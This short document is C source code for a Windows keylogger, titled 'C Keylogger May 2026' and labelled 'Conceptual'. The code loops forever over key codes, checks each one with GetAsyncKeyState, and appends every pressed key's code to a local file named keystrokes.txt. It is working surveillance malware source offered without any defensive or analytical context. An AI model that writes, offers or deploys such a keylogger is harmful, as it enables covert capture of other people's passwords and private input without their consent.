C Keylogger May 2026

#include <windows.h> #include <stdio.h> // Conceptual: Loop through keys and log pressed ones int main() { FILE *logfile; logfile = fopen("keystrokes.txt", "a"); while (1) { for (int key = 8; key <= 255; key++) { if (GetAsyncKeyState(key) & 0x0001) { fprintf(logfile, "%d\n", key); fflush(logfile); } } Sleep(10); } fclose(logfile); return 0; }